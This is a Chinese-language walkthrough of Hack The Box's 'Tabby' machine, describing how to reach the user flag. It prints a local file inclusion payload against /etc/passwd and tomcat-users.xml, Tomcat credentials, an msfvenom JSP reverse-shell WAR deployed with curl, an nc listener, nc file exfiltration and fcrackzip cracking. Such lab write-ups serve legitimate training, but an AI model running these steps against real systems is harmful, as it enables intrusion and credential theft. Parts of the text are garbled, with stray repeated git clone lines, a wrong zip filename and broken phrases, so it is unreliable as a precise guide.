📜  TABBY 破解用户标志的盒子演练

📅  最后修改于: 2022-05-13 01:57:27.194000             🧑  作者: Mango

TABBY 破解用户标志的盒子演练

这是 Hack The Box 上机器TABBY的用户标记演练或解决方案。这台机器是一台基于 Linux 的机器,我们必须同时拥有 root 和用户。它的难度级别很容易,对我来说有一个 IP 10.10.10.194 ,这可能取决于您的帐户。该机器的链接是 https://www.hackthebox.eu/home/machines/profile/259。

获取机器用户标志的步骤

1. 执行 Nmap 扫描。

nmap -sV -sC 10.10.10.194

10.10.10.194替换为您机器的 IP 地址。

虎斑猫

结果显示打开了3个端口,分别是80和8080的http和22的ssh。



2.通过浏览器访问IP地址访问网页

在浏览器中打开 IP 地址,然后单击导航栏上的每个导航项。

tabby_home_page

单击所有导航栏项后,我们发现新闻导航项将我们重定向到 URL http://megahosting.htb/news。 PHP?file=statement 。

机器的相应 ip 替换megahosting.htb 。做同样的事情给我们 th 3. e 以下输出。

在 web browsdr 中打开虎斑猫

似乎门户网站容易受到本地文件包含的影响如果存在本地文件包含漏洞,我们将重点关注下面列出的项目。

  • 服务器日志(Apache 和 SSH)
  • 邮件日志
  • /proc/self/environ文件
  • /etc/passwd文件获取用户读取邮件日志的用户名

3. 尝试本地文件包含负载



在file参数中输入../../../../etc/passwd查看passwd文件或者直接访问链接http://10.10.10.194/news。 PHP?file=../../../../etc/passwd\ 将 IP 地址替换为您各自的 IP 地址。它会打印 passwd 文件。

可以看出 passwd 文件是打印出来的,所以毕竟我们必须通过这个来做一些远程代码执行

4.访问8080端口

通过上面提到的所有 URL 枚举后,没有结果。那么让我们试着找出通过nmap看到的打开的HTTP端口8080的内容。访问 url 10.10.10.194:8080 并打印以下结果。

在 Tabby 中访问端口 8080

这给了我们一些提示,我们必须对 Apache 做些什么。在点击所有链接时,当我们点击manager_webapp链接时,它要求输入用户名和密码。所以现在很明显我们必须获得 Apache Web 服务器管理员的密码。

5. 获取 Apache 网络服务器主机密码:

现在完成这一切之后,很明显我们需要 Apache 用户名和密码才能继续进行。为了获得密码和用户名,我们必须查看一些 Apache 配置文件,然后查找每个文件,因为它们是 XML 文件,因此我们甚至还需要查看源代码。暴力破解所有 Apache 目录进行配置后,用户名和密码位于/usr/share/tomcat9/etc/tomcat-users.xml 中。访问 URL http://10.10.10.194/news。 PHP?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml 将返回一个空白页面,但在查看其源代码后,我们可以有看清楚密码和用户名。

username : tomcat
password : $3cureP4s5w0rd123!

获取apache的用户名和密码



6. 创建一个新的虚拟主机并上传反向 shell 负载文件。

到目前为止,我们已经获得了主机用户名和密码。现在尝试从主页 os 端口 8080 上的链接登录。它会要求输入密码和用户名。在那里输入上述凭据,您现在将作为主机登录。 Apache 允许我们使用终端创建虚拟主机,我们可以使用它通过创建新的虚拟主机来注入战争负载。

输入以下命令以使用 metasploit 创建反向 shell 负载

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war > shell.war    

使用您的 hackthebox IP 地址更改

输入以下命令以使用新创建的有效负载文件shell.war创建虚拟主机

curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'

created_virtual_host_apache_with_curl

输入以下命令(在新的终端窗口中)开始侦听 shell.war 文件中提到的端口。

nc -nvlp 4444

7. 获得合适的外壳

现在是执行我们的 shell 的时候了。为此,请输入以下命令。

curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/

现在我们在终端窗口中获得了 shell,我们正在监听端口 4444。



使用 netcat 获取基本 shell

所以最后我们得到了一个shell。是时候让它成为一个 bot 交互式的了,因为它不是那种交互式的。

为了使其具有交互性,这里需要输入一系列命令。

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
press ctrl+z key combination 
stty raw -echo
fg

从基本 shell 获取交互式 shell

所以到目前为止,我们有一个交互式 shell 可以使用。

8. 查找并下载用于提权的备份文件。

将目录更改为 /var/www/html。现在检查一些可能有助于权限提升的文件。将当前目录更改为文件。在这里,我们有一个名为“ 16162020_backup.zip ”的备份文件。

找到备份文件

让我们使用 nc 命令下载相同的文件。打开另一个终端并在那里输入以下命令。

nc -lvnp 1234 > 16162020_backup.zip

在机器终端输入以下命令下载文件



nc -w 4  1234 < 16162020_backup.zip

在电脑上获取备份文件

现在我们有了备份文件。

9. 解压备份文件。

解压缩备份文件时,发现它受密码保护。所以我们必须破解它,为此我们将使用 fcrackzip 工具。输入以下命令来破解文件的密码。 git 克隆https://github.com/saghul/lxd-alpine-builder.git git 克隆https://github.com/saghul/lxd-alpine-builder.git

fcrackzip -v -D -u -p /usr/share/dict/words secret.zip

破解备份 zip 文件图像小部件。

由此我们得到密码为“ admin@it ”。所以到目前为止,我们已经有了密码和压缩文件。是时候用相应的密码解压缩它了。

输入以下命令以从压缩文件中提取文件和目录。

unzip 16162020_backup.zip

打开所有提取的文件后,没有任何东西可以帮助我们获取标志或进行权限提升。所以下一步就是尝试我们收到的密码,将用户切换为“ ash ”。

10. 获取用户哈希

使用“ ash ”用户名登录,密码为“ admin@it ”。

可以看出,我们切换到用户“ ash ”,因为我们有 ash 用户的密码,是时候获取用户哈希并提交相同的了。执行以下命令以获取哈希。

cat /home/ash/user.txt

现在,当我浏览整个 /home/ash 目录时,没有什么可以帮助我们获得根标志。

用户哈希